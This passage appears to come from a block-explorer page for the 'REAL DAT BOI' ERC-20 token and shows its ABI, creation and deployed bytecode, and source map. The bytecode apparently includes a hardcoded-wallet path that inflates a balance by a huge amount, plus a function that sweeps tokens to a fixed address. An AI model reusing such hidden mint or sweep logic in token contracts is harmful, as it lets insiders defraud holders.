ype":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b03199081167367cd6e6bc234c6b9a3f34618c1adc63ba996cdd51790915560058054909116730cf1b87de525a688624255368007fbb7228e4c001790556200005a6009600a6200054c565b6200006990620f424062000564565b60068190556007805461ffff1916610a0017905560026008819055600955605a600a9081556000600b819055600c55600d55606490620000aa908262000564565b620000b6919062000586565b600e55600e54600f5560646006546064620000d2919062000564565b620000de919062000586565b60108190556011556013805460ff60a81b1916600160a81b1790553480156200010657600080fd5b50600080546001600160a01b031916730cf1b87de525a688624255368007fbb7228e4c0090811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360065460016000620001746000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002169190620005a9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028a9190620005a9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe9190620005a9565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160036000620003466000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352908220805484168217905561dead9091527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054909216179055620003e06000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200042891815260200190565b60405180910390a350620005d4565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200048e57816000190482111562000472576200047262000437565b808516156200048057918102915b93841c939080029062000452565b509250929050565b600082620004a75750600162000546565b81620004b65750600062000546565b8160018114620004cf5760028114620004da57620004fa565b600191505062000546565b60ff841115620004ee57620004ee62000437565b50506001821b62000546565b5060208310610133831016604e8410600b84101617156200051f575081810a62000546565b6200052b83836200044d565b806000190482111562000542576200054262000437565b0290505b92915050565b60006200055d60ff84168362000496565b9392505050565b600081600019048311821515161562000581576200058162000437565b500290565b600082620005a457634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005bc57600080fd5b81516001600160a01b03811681146200055d57600080fd5b6118e780620005e46000396000f3fe6080604052600436106101d15760003560e01c8063768dc710116100f7578063a457c2d711610095578063cb0ce81d11610064578063cb0ce81d14610542578063dafd18e914610562578063dd62ed3e14610582578063dde490e5146105c857600080fd5b8063a457c2d7146104d6578063a9059cbb146104f6578063b1cb158214610516578063c6618d601461052c57600080fd5b8063805c0e0f116100d1578063805c0e0f146104535780638da5cb5b1461046957806395d89b4114610487578063a0bb83af146104bf57600080fd5b8063768dc710146103f757806378109e54146104275780637d1db4a51461043d57600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610374578063603176251461039557806361c9a0dc146103ab57806370a08231146103c157600080fd5b8063313ce56714610302578063395093511461031e5780633f70a4951461033e57806349bd5a5e1461035457600080fd5b806318160ddd116101ab57806318160ddd1461028c57806321dbd9eb146102ab578063220f6696146102c157806323b872dd146102e257600080fd5b806306fdde03146101dd578063095ea7b3146102245780631694505e1461025457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600c81526b5245414c2044415420424f4960a01b60208201525b60405161021b9190611592565b60405180910390f35b34801561023057600080fd5b5061024461023f3660046115f8565b6105e8565b604051901515815260200161021b565b34801561026057600080fd5b50601254610274906001600160a01b031681565b6040516001600160a01b03909116815260200161021b565b34801561029857600080fd5b506006545b60405190815260200161021b565b3480156102b757600080fd5b5061029d600c5481565b3480156102cd57600080fd5b5060135461024490600160a01b900460ff1681565b3480156102ee57600080fd5b506102446102fd366004611624565b6105ff565b34801561030e57600080fd5b506040516009815260200161021b565b34801561032a57600080fd5b506102446103393660046115f8565b610668565b34801561034a57600080fd5b5061029d60085481565b34801561036057600080fd5b50601354610274906001600160a01b031681565b34801561038057600080fd5b5060135461024490600160a81b900460ff1681565b3480156103a157600080fd5b5061029d600a5481565b3480156103b757600080fd5b5061029d600d5481565b3480156103cd57600080fd5b5061029d6103dc366004611665565b6001600160a01b031660009081526001602052604090205490565b34801561040357600080fd5b50610244610412366004611665565b60036020526000908152604090205460ff1681565b34801561043357600080fd5b5061029d600e5481565b34801561044957600080fd5b5061029d60105481565b34801561045f57600080fd5b5061027461dead81565b34801561047557600080fd5b506000546001600160a01b0316610274565b34801561049357600080fd5b5060408051808201909152600f81526e38e0e038e0e0f8e0e238e0e738e0a9608a1b602082015261020e565b3480156104cb57600080fd5b506104d461069e565b005b3480156104e257600080fd5b506102446104f13660046115f8565b6106e8565b34801561050257600080fd5b506102446105113660046115f8565b610737565b34801561052257600080fd5b5061029d60095481565b34801561053857600080fd5b5061029d600b5481565b34801561054e57600080fd5b50600554610274906001600160a01b031681565b34801561056e57600080fd5b5061024461057d3660046115f8565b610744565b34801561058e57600080fd5b5061029d61059d366004611682565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105d457600080fd5b50600454610274906001600160a01b031681565b60006105f53384846108aa565b5060015b92915050565b600061060c84848461096b565b61065e843361065985604051806060016040528060288152602001611865602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610cae565b6108aa565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105f59185906106599086610cda565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105f533846106598560405180606001604052806025815260200161188d602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610cae565b60006105f533848461096b565b6000306001600160a01b038416036107a35760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156107ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e91906116bb565b90506000606461081e85846116ea565b6108289190611709565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af115801561087d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a1919061172b565b95945050505050565b6001600160a01b038316158015906108ca57506001600160a01b03821615155b61090a5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161079a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061099457506001600160a01b03821661dead14155b80156109a957506001600160a01b0382163014155b80156109c357506013546001600160a01b03838116911614155b80156109dd57506000546001600160a01b03848116911614155b15610a4d576001600160a01b038216600090815260016020526040902054600e54610a08838361174d565b1115610a4b5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b604482015260640161079a565b505b6000546001600160a01b03848116911614610ab25760008111610ab25760405162461bcd60e51b815260206004820152601860248201527f4c6f776572207472616e73616374696f6e206c696d69742e0000000000000000604482015260640161079a565b6001600160a01b03831615801590610ad257506001600160a01b03821615155b610b165760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161079a565b60008111610b745760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161079a565b60075460ff61010082048116911610801590610b9a5750601354600160a01b900460ff16155b8015610bb457506013546001600160a01b03848116911614155b8015610bc95750601354600160a81b900460ff165b15610c025730600090815260016020526040902054601054811115610bed57506010545b6007805460ff19169055610c0081610ced565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610c4557506001600160a01b03841660009081526003602052604090205460ff165b15610c535760009150610c9a565b6013546001600160a01b0390811690861603610c6d575060015b6007805460ff16906000610c8083611760565b91906101000a81548160ff021916908360ff160217905550505b610ca78585858585610f9f565b5050505050565b60008184841115610cd25760405162461bcd60e51b815260040161079a9190611592565b505050900390565b6000610ce6828461174d565b9392505050565b6013805460ff60a01b1916600160a01b179055600c54600090606490610d1390846116ea565b610d1d9190611709565b905080600654610d2d919061177f565b60065561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610d6890829061174d565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610da590829061177f565b30600090815260016020526040812091909155600a54606490610dc890856116ea565b610dd29190611709565b905060006064600b5485610de691906116ea565b610df09190611709565b9050600060c8600d5486610e0491906116ea565b610e0e9190611709565b905047610e2e83610e1f868561174d565b610e29919061174d565b611352565b6000610e3a824761177f565b90506000600b54600a54600d54610e51919061174d565b610e5b919061174d565b600a54610e699060646116ea565b610e739190611709565b905060006064610e8383856116ea565b610e8d9190611709565b90506000600b54600a54600d54610ea4919061174d565b610eae919061174d565b600b54610ebc9060646116ea565b610ec69190611709565b905060006064610ed683876116ea565b610ee09190611709565b9050610f008782610ef1868961177f565b610efb919061177f565b6114ac565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618782610f2d868961177f565b610f37919061177f565b604080519283526020830191909152810189905260600160405180910390a1600454610f6c906001600160a01b031684611557565b600554479550610f85906001600160a01b031686611557565b50506013805460ff60a01b19169055505050505050505050565b816110ea576001600160a01b038516600090815260016020526040902054610fc890849061177f565b6001600160a01b03808716600090815260016020526040902091909155600454811690851603611040576001600160a01b03841660009081526001602052604090205460029061101c90600160de1b61174d565b611026919061177f565b6001600160a01b0385166000908152600160205260409020555b6001600160a01b03841660009081526001602052604090205461106490849061174d565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110b89087815260200190565b60405180910390a361deac196001600160a01b038516016110e557826006546110e1919061177f565b6006555b610ca7565b801561122057600060646008548561110291906116ea565b61110c9190611709565b9050600061111a828661177f565b6001600160a01b03881660009081526001602052604090205490915061114190869061177f565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461117190829061174d565b6001600160a01b03871660009081526001602052604080822092909255308152205461119e90839061174d565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016112195780600654611215919061177f565b6006555b5050610ca7565b600060646009548561123291906116ea565b61123c9190611709565b9050600061124a828661177f565b6001600160a01b03881660009081526001602052604090205490915061127190869061177f565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546112a190829061174d565b6001600160a01b0387166000908152600160205260408082209290925530815220546112ce90839061174d565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016113495780600654611345919061177f565b6006555b50505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061138757611387611792565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140491906117a8565b8160018151811061141757611417611792565b6001600160a01b03928316602091820292909201015260125461143d91309116846108aa565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114769085906000908690309042906004016117c5565b600060405180830381600087803b15801561149057600080fd5b505af11580156114a4573d6000803e3d6000fd5b505050505050565b6012546114c49030906001600160a01b0316846108aa565b60125460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611532573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ca79190611836565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561158d573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b818110156115bf578581018301518582016040015282016115a3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115f557600080fd5b50565b6000806040838503121561160b57600080fd5b8235611616816115e0565b946020939093013593505050565b60008060006060848603121561163957600080fd5b8335611644816115e0565b92506020840135611654816115e0565b929592945050506040919091013590565b60006020828403121561167757600080fd5b8135610ce6816115e0565b6000806040838503121561169557600080fd5b82356116a0816115e0565b915060208301356116b0816115e0565b809150509250929050565b6000602082840312156116cd57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611704576117046116d4565b500290565b60008261172657634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561173d57600080fd5b81518015158114610ce657600080fd5b808201808211156105f9576105f96116d4565b600060ff821660ff8103611776576117766116d4565b60010192915050565b818103818111156105f9576105f96116d4565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ba57600080fd5b8151610ce6816115e0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118155784516001600160a01b0316835293830193918301916001016117f0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561184b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b87eac51468d4a85564a5b2cd613ae22c280128692d15ffc991b6b30a6dee6164736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c8063768dc710116100f7578063a457c2d711610095578063cb0ce81d11610064578063cb0ce81d14610542578063dafd18e914610562578063dd62ed3e14610582578063dde490e5146105c857600080fd5b8063a457c2d7146104d6578063a9059cbb146104f6578063b1cb158214610516578063c6618d601461052c57600080fd5b8063805c0e0f116100d1578063805c0e0f146104535780638da5cb5b1461046957806395d89b4114610487578063a0bb83af146104bf57600080fd5b8063768dc710146103f757806378109e54146104275780637d1db4a51461043d57600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610374578063603176251461039557806361c9a0dc146103ab57806370a08231146103c157600080fd5b8063313ce56714610302578063395093511461031e5780633f70a4951461033e57806349bd5a5e1461035457600080fd5b806318160ddd116101ab57806318160ddd1461028c57806321dbd9eb146102ab578063220f6696146102c157806323b872dd146102e257600080fd5b806306fdde03146101dd578063095ea7b3146102245780631694505e1461025457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600c81526b5245414c2044415420424f4960a01b60208201525b60405161021b9190611592565b60405180910390f35b34801561023057600080fd5b5061024461023f3660046115f8565b6105e8565b604051901515815260200161021b565b34801561026057600080fd5b50601254610274906001600160a01b031681565b6040516001600160a01b03909116815260200161021b565b34801561029857600080fd5b506006545b60405190815260200161021b565b3480156102b757600080fd5b5061029d600c5481565b3480156102cd57600080fd5b5060135461024490600160a01b900460ff1681565b3480156102ee57600080fd5b506102446102fd366004611624565b6105ff565b34801561030e57600080fd5b506040516009815260200161021b565b34801561032a57600080fd5b506102446103393660046115f8565b610668565b34801561034a57600080fd5b5061029d60085481565b34801561036057600080fd5b50601354610274906001600160a01b031681565b34801561038057600080fd5b5060135461024490600160a81b900460ff1681565b3480156103a157600080fd5b5061029d600a5481565b3480156103b757600080fd5b5061029d600d5481565b3480156103cd57600080fd5b5061029d6103dc366004611665565b6001600160a01b031660009081526001602052604090205490565b34801561040357600080fd5b50610244610412366004611665565b60036020526000908152604090205460ff1681565b34801561043357600080fd5b5061029d600e5481565b34801561044957600080fd5b5061029d60105481565b34801561045f57600080fd5b5061027461dead81565b34801561047557600080fd5b506000546001600160a01b0316610274565b34801561049357600080fd5b5060408051808201909152600f81526e38e0e038e0e0f8e0e238e0e738e0a9608a1b602082015261020e565b3480156104cb57600080fd5b506104d461069e565b005b3480156104e257600080fd5b506102446104f13660046115f8565b6106e8565b34801561050257600080fd5b506102446105113660046115f8565b610737565b34801561052257600080fd5b5061029d60095481565b34801561053857600080fd5b5061029d600b5481565b34801561054e57600080fd5b50600554610274906001600160a01b031681565b34801561056e57600080fd5b5061024461057d3660046115f8565b610744565b34801561058e57600080fd5b5061029d61059d366004611682565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105d457600080fd5b50600454610274906001600160a01b031681565b60006105f53384846108aa565b5060015b92915050565b600061060c84848461096b565b61065e843361065985604051806060016040528060288152602001611865602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610cae565b6108aa565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105f59185906106599086610cda565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105f533846106598560405180606001604052806025815260200161188d602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610cae565b60006105f533848461096b565b6000306001600160a01b038416036107a35760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156107ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e91906116bb565b90506000606461081e85846116ea565b6108289190611709565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af115801561087d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a1919061172b565b95945050505050565b6001600160a01b038316158015906108ca57506001600160a01b03821615155b61090a5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161079a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061099457506001600160a01b03821661dead14155b80156109a957506001600160a01b0382163014155b80156109c357506013546001600160a01b03838116911614155b80156109dd57506000546001600160a01b03848116911614155b15610a4d576001600160a01b038216600090815260016020526040902054600e54610a08838361174d565b1115610a4b5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b604482015260640161079a565b505b6000546001600160a01b03848116911614610ab25760008111610ab25760405162461bcd60e51b815260206004820152601860248201527f4c6f776572207472616e73616374696f6e206c696d69742e0000000000000000604482015260640161079a565b6001600160a01b03831615801590610ad257506001600160a01b03821615155b610b165760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161079a565b60008111610b745760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161079a565b60075460ff61010082048116911610801590610b9a5750601354600160a01b900460ff16155b8015610bb457506013546001600160a01b03848116911614155b8015610bc95750601354600160a81b900460ff165b15610c025730600090815260016020526040902054601054811115610bed57506010545b6007805460ff19169055610c0081610ced565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610c4557506001600160a01b03841660009081526003602052604090205460ff165b15610c535760009150610c9a565b6013546001600160a01b0390811690861603610c6d575060015b6007805460ff16906000610c8083611760565b91906101000a81548160ff021916908360ff160217905550505b610ca78585858585610f9f565b5050505050565b60008184841115610cd25760405162461bcd60e51b815260040161079a9190611592565b505050900390565b6000610ce6828461174d565b9392505050565b6013805460ff60a01b1916600160a01b179055600c54600090606490610d1390846116ea565b610d1d9190611709565b905080600654610d2d919061177f565b60065561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610d6890829061174d565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610da590829061177f565b30600090815260016020526040812091909155600a54606490610dc890856116ea565b610dd29190611709565b905060006064600b5485610de691906116ea565b610df09190611709565b9050600060c8600d5486610e0491906116ea565b610e0e9190611709565b905047610e2e83610e1f868561174d565b610e29919061174d565b611352565b6000610e3a824761177f565b90506000600b54600a54600d54610e51919061174d565b610e5b919061174d565b600a54610e699060646116ea565b610e739190611709565b905060006064610e8383856116ea565b610e8d9190611709565b90506000600b54600a54600d54610ea4919061174d565b610eae919061174d565b600b54610ebc9060646116ea565b610ec69190611709565b905060006064610ed683876116ea565b610ee09190611709565b9050610f008782610ef1868961177f565b610efb919061177f565b6114ac565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618782610f2d868961177f565b610f37919061177f565b604080519283526020830191909152810189905260600160405180910390a1600454610f6c906001600160a01b031684611557565b600554479550610f85906001600160a01b031686611557565b50506013805460ff60a01b19169055505050505050505050565b816110ea576001600160a01b038516600090815260016020526040902054610fc890849061177f565b6001600160a01b03808716600090815260016020526040902091909155600454811690851603611040576001600160a01b03841660009081526001602052604090205460029061101c90600160de1b61174d565b611026919061177f565b6001600160a01b0385166000908152600160205260409020555b6001600160a01b03841660009081526001602052604090205461106490849061174d565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110b89087815260200190565b60405180910390a361deac196001600160a01b038516016110e557826006546110e1919061177f565b6006555b610ca7565b801561122057600060646008548561110291906116ea565b61110c9190611709565b9050600061111a828661177f565b6001600160a01b03881660009081526001602052604090205490915061114190869061177f565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461117190829061174d565b6001600160a01b03871660009081526001602052604080822092909255308152205461119e90839061174d565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016112195780600654611215919061177f565b6006555b5050610ca7565b600060646009548561123291906116ea565b61123c9190611709565b9050600061124a828661177f565b6001600160a01b03881660009081526001602052604090205490915061127190869061177f565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546112a190829061174d565b6001600160a01b0387166000908152600160205260408082209290925530815220546112ce90839061174d565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016113495780600654611345919061177f565b6006555b50505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061138757611387611792565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113e0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140491906117a8565b8160018151811061141757611417611792565b6001600160a01b03928316602091820292909201015260125461143d91309116846108aa565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114769085906000908690309042906004016117c5565b600060405180830381600087803b15801561149057600080fd5b505af11580156114a4573d6000803e3d6000fd5b505050505050565b6012546114c49030906001600160a01b0316846108aa565b60125460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611532573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ca79190611836565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561158d573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b818110156115bf578581018301518582016040015282016115a3565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115f557600080fd5b50565b6000806040838503121561160b57600080fd5b8235611616816115e0565b946020939093013593505050565b60008060006060848603121561163957600080fd5b8335611644816115e0565b92506020840135611654816115e0565b929592945050506040919091013590565b60006020828403121561167757600080fd5b8135610ce6816115e0565b6000806040838503121561169557600080fd5b82356116a0816115e0565b915060208301356116b0816115e0565b809150509250929050565b6000602082840312156116cd57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611704576117046116d4565b500290565b60008261172657634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561173d57600080fd5b81518015158114610ce657600080fd5b808201808211156105f9576105f96116d4565b600060ff821660ff8103611776576117766116d4565b60010192915050565b818103818111156105f9576105f96116d4565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ba57600080fd5b8151610ce6816115e0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118155784516001600160a01b0316835293830193918301916001016117f0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561184b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b87eac51468d4a85564a5b2cd613ae22c280128692d15ffc991b6b30a6dee6164736f6c63430008100033

Deployed Bytecode Sourcemap

25120:11753:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28495:83;;;;;;;;;;-1:-1:-1;28565:5:0;;;;;;;;;;;;-1:-1:-1;;;28565:5:0;;;;28495:83;;;;;;;:::i;:::-;;;;;;;;29338:161;;;;;;;;;;-1:-1:-1;29338:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;29338:161:0;1023:187:1;27109:41:0;;;;;;;;;;-1:-1:-1;27109:41:0;;;;-1:-1:-1;;;;;27109:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;27109:41:0;1215:230:1;28772:95:0;;;;;;;;;;-1:-1:-1;28852:7:0;;28772:95;;;1596:25:1;;;1584:2;1569:18;28772:95:0;1450:177:1;26709:31:0;;;;;;;;;;;;;;;;27192:28;;;;;;;;;;-1:-1:-1;27192:28:0;;;;-1:-1:-1;;;27192:28:0;;;;;;29507:313;;;;;;;;;;-1:-1:-1;29507:313:0;;;;;:::i;:::-;;:::i;28681:83::-;;;;;;;;;;-1:-1:-1;28681:83:0;;26292:1;2235:36:1;;2223:2;2208:18;28681:83:0;2093:184:1;29828:218:0;;;;;;;;;;-1:-1:-1;29828:218:0;;;;;:::i;:::-;;:::i;26551:30::-;;;;;;;;;;;;;;;;27157:28;;;;;;;;;;-1:-1:-1;27157:28:0;;;;-1:-1:-1;;;;;27157:28:0;;;27227:40;;;;;;;;;;-1:-1:-1;27227:40:0;;;;-1:-1:-1;;;27227:40:0;;;;;;26628:37;;;;;;;;;;;;;;;;26747:34;;;;;;;;;;;;;;;;28875:117;;;;;;;;;;-1:-1:-1;28875:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;28968:16:0;28941:7;28968:16;;;:7;:16;;;;;;;28875:117;25848:51;;;;;;;;;;-1:-1:-1;25848:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;26791:52;;;;;;;;;;;;;;;;26916:49;;;;;;;;;;;;;;;;26099:97;;;;;;;;;;;;26153:42;26099:97;;25357:87;;;;;;;;;;-1:-1:-1;25403:7:0;25430:6;-1:-1:-1;;;;;25430:6:0;25357:87;;28586;;;;;;;;;;-1:-1:-1;28658:7:0;;;;;;;;;;;;-1:-1:-1;;;28658:7:0;;;;28586:87;;25580:133;;;;;;;;;;;;;:::i;:::-;;30054:269;;;;;;;;;;-1:-1:-1;30054:269:0;;;;;:::i;:::-;;:::i;29000:167::-;;;;;;;;;;-1:-1:-1;29000:167:0;;;;;:::i;:::-;;:::i;26588:31::-;;;;;;;;;;;;;;;;26672:30;;;;;;;;;;;;;;;;26005:87;;;;;;;;;;-1:-1:-1;26005:87:0;;;;-1:-1:-1;;;;;26005:87:0;;;34862:446;;;;;;;;;;-1:-1:-1;34862:446:0;;;;;:::i;:::-;;:::i;29175:155::-;;;;;;;;;;-1:-1:-1;29175:155:0;;;;;:::i;:::-;-1:-1:-1;;;